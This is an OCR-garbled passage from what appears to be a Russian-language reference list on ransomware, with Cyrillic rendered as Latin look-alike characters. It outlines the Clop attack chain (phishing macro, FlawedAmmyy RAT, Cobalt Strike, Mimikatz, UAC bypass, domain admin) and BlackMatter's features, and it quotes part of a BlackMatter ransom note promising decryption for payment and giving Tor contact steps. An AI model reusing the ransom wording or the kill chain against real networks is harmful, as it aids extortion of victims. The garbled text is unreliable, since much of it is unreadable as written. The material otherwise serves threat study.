Rubeus, Real VNC, Putty, RDP, PowerShell BitsAdmin u Hyper Visors 115 mojiydeHus JOCTYIa, pa3BepThIBAHUE
BUPTYaJIbHBIX MAIIIMH JIJIs 3aITyCKa IMPOTrpaMMbI-BBIMOTaTe]Is.

16. YowuiictBeHHas 11emoyka nporpaMmmal-BeiMoratesis Clop B 01HOM TBUTE: (PUIIIMHTOBOE MHUCHMO -> MaKpOC
Office -> net user /domain -> FlawedAmmyy RAT -> Cobalt Strike -> SBM -> BEACON -> BADPIPE ->
Mimikatz -> o6xoxq UAC -> agmun nomena -> SC meHemxkep -> 3anyck Clop -> tpeboBanue Beikyma. Eme onHa
IIpOTrpaMMa-BBIMOTaTENb, UCIIOIB3YIOMIAs JJIsI aTaK KOMMEPUYSCKHUE HHCTPYMEHTEL.

17. #BlackMatter...

CBoICTBAa: MOHTUPOBAHUE TOMOB, 3amu@poBKa ¢aitaoB Microsoft Exchange, 3amudpoBka ¢paiijioB COBMECTHOTO
JI0CTYyIIa, IpeKpallleHruEe POIECCOB, OCTAHOBKA 1 MPEKpaICHUE CITYKO.

Yto cnyuynnocs?
Bamia cets 3amnd)poBaHa U B JITaHHBIM MOMEHT HEAOCTYITHA.

Hac nHTEpecyroT TOJBKO JEHBI'H, IIOCJE OMJIAThl Mbl JaJIMM BaM JICIIU(PATOp A BCEH CETH, U Bbl BOCCTAHOBUTE
JTaHHBIE.

KakoBrbI rapanTtun?

Mp&1 HE pecieayeM NOJUTHYCCKUX [EJIEW, U HaM HE HYKHO HUYETr0, KpOME JIEHET. B ciydae o1miaTsl Mbl 1AM
BaM MPOrpaMmy JJjis ACU(POBAHUS U YIAJIUMM Ballld JJaHHBIC. ECIIM MBI 3TOr0 HE CAeIaeM, Mbl OOJIbIIIC HUKOTIa
HE IOJIyYUM JIEHET, II0O3TOMY MBI JIEPKUM CIIOBO.

Kak ¢ HaMu cBsI3aThCS?

1. CkauaiiTe u ycraHoBute opayzep Tor (...)

2. OTKpOUTE CCBUIKY...

18. Kneppun b. Kpumnnanucruueckui ananus ¢gaiinoBsix cuctem. — CII16.: ITutep, 2007.
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